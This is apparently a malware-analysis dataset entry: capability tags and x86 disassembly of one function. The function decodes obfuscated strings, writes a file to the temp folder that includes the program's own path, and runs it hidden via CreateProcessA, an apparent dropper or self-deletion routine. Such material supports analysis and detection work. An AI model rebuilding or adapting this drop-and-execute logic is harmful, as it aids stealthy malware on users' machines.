Function at 0x414e9b
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x3a8
mov eax, dword [0x5107c0]
xor eax, esp
mov dword [esp + 0x3a4], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1ac]
mov ebp, 0x104
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x3f33bbad
mov edx, 0x4e970a8
mov ecx, 0x6ebf6d0a
call fcn.00401513
mov edx, eax
pop ecx
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x414ee0
lea edi, [esp + 0x1ac]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x414ef1
mov ecx, edx
lea eax, [esp + 0x1ac]
shr ecx, 2
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
push 0x80000080
push 2
push ebx
push ebx
mov ecx, edx
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x415087
push ebp
lea eax, [esp + 0x2b4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x44c180f0
mov edx, 0x7f1b4bf5
mov ecx, 0x154d5643
call fcn.00401513
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004b4a31
add esp, 0xc
lea ecx, [esp + 0x10]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x2b0]
mov edx, 0xbaa0ee75
push eax
push 0x817a2571
mov ecx, 0xd0f6f3cf
call fcn.00401513
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004b4a31
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x2b0]
mov edx, 0xb5084c96
push eax
push 0x8ed28785
mov ecx, 0xdf5e511e
call fcn.00401513
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004b4a31
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x2b0]
push 0x5c
push eax
call fcn.004b4ac0
pop ecx
pop ecx
test eax, eax
je 0x41500c
mov byte [eax], 0
lea eax, [esp + 0x2b0]
mov edx, 0x4d8d6070
push eax
push 0x7657ab72
mov ecx, 0x27db7d1e
call fcn.00401513
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004b4a31
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x1ac]
mov edx, 0x6fb5b342
push eax
push 0x546f7846
mov ecx, 0x5e3ae3c
call fcn.00401513
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004b4a31
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
push edi
call esi
xor ebx, ebx
push 0x40
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.004b6030
add esp, 0xc
mov dword [esp + 0x24], 0x44
xor eax, eax
mov dword [esp + 0x50], 1
mov word [esp + 0x54], ax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x28]
push eax
push ebx
push ebx
push 0x8000040
push ebx
push ebx
push ebx
lea eax, [esp + 0x1cc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4150e1
push dword [esp + 0x14]
call esi
push dword [esp + 0x18]
call esi
mov ecx, dword [esp + 0x3b4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b35e5
add esp, 0x3a8
ret